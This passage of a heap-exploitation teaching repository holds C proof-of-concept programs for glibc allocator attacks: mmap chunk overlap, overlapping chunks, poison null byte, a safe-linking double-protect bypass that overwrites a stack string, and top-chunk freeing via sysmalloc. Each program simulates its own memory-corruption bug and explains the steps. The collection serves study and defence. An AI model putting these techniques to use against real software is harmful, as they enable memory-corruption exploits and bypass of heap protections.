\n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.41/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.41/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.41/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the vulnerability\n\tputs(\"Modify the 0x40 t-cache pointer to point to the heap value that holds our arbitrary value, \");\n\tputs(\"by overwriting the LSB of the pointer for 0x40 in the t-cache metadata:\");\n\t\n\t// Calculate the address of the t-cache metadata\n\tvoid *metadata = (void *)((long)(value) & ~(0xfff));\n\n\t// Overwrite the LSB of the 0x40 t-cache chunk to point to the heap chunk containing the arbitrary value\n\t*(unsigned int*)(metadata+0xa0) = (long)(metadata)+((long)(value) & (0xfff));\n\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> 0x%lx]\\n\", value, (*(long*)value)^((long)metadata>>12));\n\tputs(\"\");\n\n\tputs(\"Allocate once to make the protected pointer the current entry in the 0x40 bin:\");\n\tvoid *_ = malloc(0x38);\n\tprintf(\"\\t\\t> 0x40 t-cache: [0x%lx]\\n\", *(unsigned long*)(metadata+0xa0));\n\tputs(\"\");\n\n\t/* VULNERABILITY */\t\n\tputs(\"Point the 0x20 bin to the 0x40 bin in the t-cache metadata, containing the newly safe-linked value:\");\n\t*(unsigned int*)(metadata+0x90) = (long)(metadata)+0xa0;\n\tprintf(\"\\t\\t> 0x20 t-cache: [0x%lx -> 0x%lx]\\n\", (long)(metadata)+0xa0, *(long*)value);\n\tputs(\"\");\n\t/* VULNERABILITY */\t\n\n\t// Step 5: Allocate twice to allocate the arbitrary value\n\tputs(\"Allocate twice to gain a pointer to our arbitrary value\");\n\t\n\t_ = malloc(0x18);\n\tprintf(\"\\t\\t> First  0x20 allocation: %p\\n\", _);\n\t\n\tchar *vuln = malloc(0x18);\n\tprintf(\"\\t\\t> Second 0x20 allocation: %p\\n\", vuln);\n\tputs(\"\");\n\n\t// Step 6: Overwrite the goal string pointer and verify it has been changed\n\tstrcpy(vuln, \"XXXXXXXXXXX HIJACKED!\");\n\n\tprintf(\"String now contains: %s\\n\", goal);\t\n\tassert(strcmp(goal, \"Replace me!\") != 0);\n}\n"
  },
  {
    "path": "glibc_2.41/sysmalloc_int_free.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// target top chunk size that should be freed\n#define CHUNK_FREED_SIZE 0x150\n#define FREED_SIZE (CHUNK_FREED_SIZE-CHUNK_HDR_SZ)\n\n/**\n * Tested on:\n *  + GLIBC 2.39 (x86_64, x86 & aarch64)\n *  + GLIBC 2.34 (x86_64, x86 & aarch64)\n *  + GLIBC 2.31 (x86_64, x86 & aarch64)\n *  + GLIBC 2.27 (x86_64, x86 & aarch64)\n *\n * sysmalloc allows us to free() the top chunk of heap to create nearly arbitrary bins,\n * which can be used to corrupt heap without needing to call free() directly.\n * This is achieved through sysmalloc calling _int_free to the top_chunk (wilderness),\n * if the top_chunk can't be merged during heap growth\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * This technique is used in House of Orange & Tangerine\n */\nint main() {\n  size_t allocated_size, *top_size_ptr, top_size, new_top_size, freed_top_size, *new, *old;\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_FREED_SIZE & MALLOC_MASK) == CHUNK_FREED_SIZE);\n\n  puts(\"Constants:\");\n  printf(\"chunk header \\t\\t= 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align \\t\\t= 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align \\t\\t= 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size \\t\\t= 0x%lx\\n\", FENCEPOST);\n  printf(\"freed size \\t\\t= 0x%lx\\n\", FREED_SIZE);\n\n  printf(\"target top chunk size \\t= 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_FREED_SIZE);\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  new = malloc(PROBE);\n  top_size = new[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size \\t\\t= 0x%lx\\n\", top_size);\n\n  // calculate allocated_size\n  allocated_size = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE;\n  allocated_size &= PAGE_MASK;\n  allocated_size &= MALLOC_MASK;\n\n  printf(\"allocated size \\t\\t= 0x%lx\\n\\n\", allocated_size);\n\n  puts(\"1. create initial malloc that will be used to corrupt the top_chunk (wilderness)\");\n  new = malloc(allocated_size);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &new[(allocated_size / SIZE_SZ)-1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- initial malloc\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|      SIZE (0x%05lx)   |\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         top_size - 1,\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n  puts(\"2. corrupt the size of top chunk to be less, but still page aligned\");\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |   <- positive OOB (i.e. BOF)\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         TOP           |   <- corrupt size of top chunk (wilderness)\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|         ...           |\\n\"\n         \"----- %-14p ----   <- end of current heap page\\n\\n\",\n         new - 2,\n         top_size_ptr - 1,\n         new_top_size - 1,\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         top_size_ptr - 1 + (top_size / SIZE_SZ));\n\n\n  puts(\"3. create an allocation larger than the remaining top chunk, to trigger heap growth\");\n  puts(\"The now corrupt top_chunk triggers sysmalloc to call _init_free on it\");\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_FREED_SIZE);\n\n  old = new;\n  new = malloc(CHUNK_FREED_SIZE + 0x10);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          OLD          |\\n\"\n         \"| AAAAAAAAAAAAAAAAAAAAA |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|         FREED         |   <- old top got freed because it couldn't be merged\\n\"\n         \"|     SIZE (0x%05lx)    |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|       FENCEPOST       |   <- just some architecture depending padding\\n\"\n         \"----- %-14p ----   <- still page aligned\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          NEW          |   <- new malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\\n\",\n         old - 2,\n         top_size_ptr - 1,\n         freed_top_size,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE/SIZE_SZ),\n         top_size_ptr - 1 + (new_top_size / SIZE_SZ),\n         new - (MALLOC_ALIGN / SIZE_SZ));\n\n  puts(\"...\\n\");\n\n  puts(\"?. reallocated into the freed chunk\");\n\n  old = new;\n  new = malloc(FREED_SIZE);\n\n  assert((size_t) old > (size_t) new);\n\n  printf(\"\"\n         \"----- %-14p ----\\n\"\n         \"|          NEW          |   <- allocated into the freed chunk\\n\"\n         \"|                       |\\n\"\n         \"----- %-14p ----\\n\"\n         \"|          ...          |\\n\"\n         \"----- %-14p ----   <- end of previous heap page\\n\"\n         \"|          OLD          |   <- old malloc\\n\"\n         \"-------------------------\\n\"\n         \"|          TOP          |   <- top chunk (wilderness)\\n\"\n         \"|          ...          |\\n\"\n         \"-------------------------   <- end of current heap page\\n\",\n         new - 2,\n         top_size_ptr - 1 + (CHUNK_FREED_SIZE / SIZE_SZ),\n         old - (MALLOC_ALIGN / SIZE_SZ));\n}\n"
  },
  {
    "path": "glibc_2.41/tcache_house_of_spirit.c",
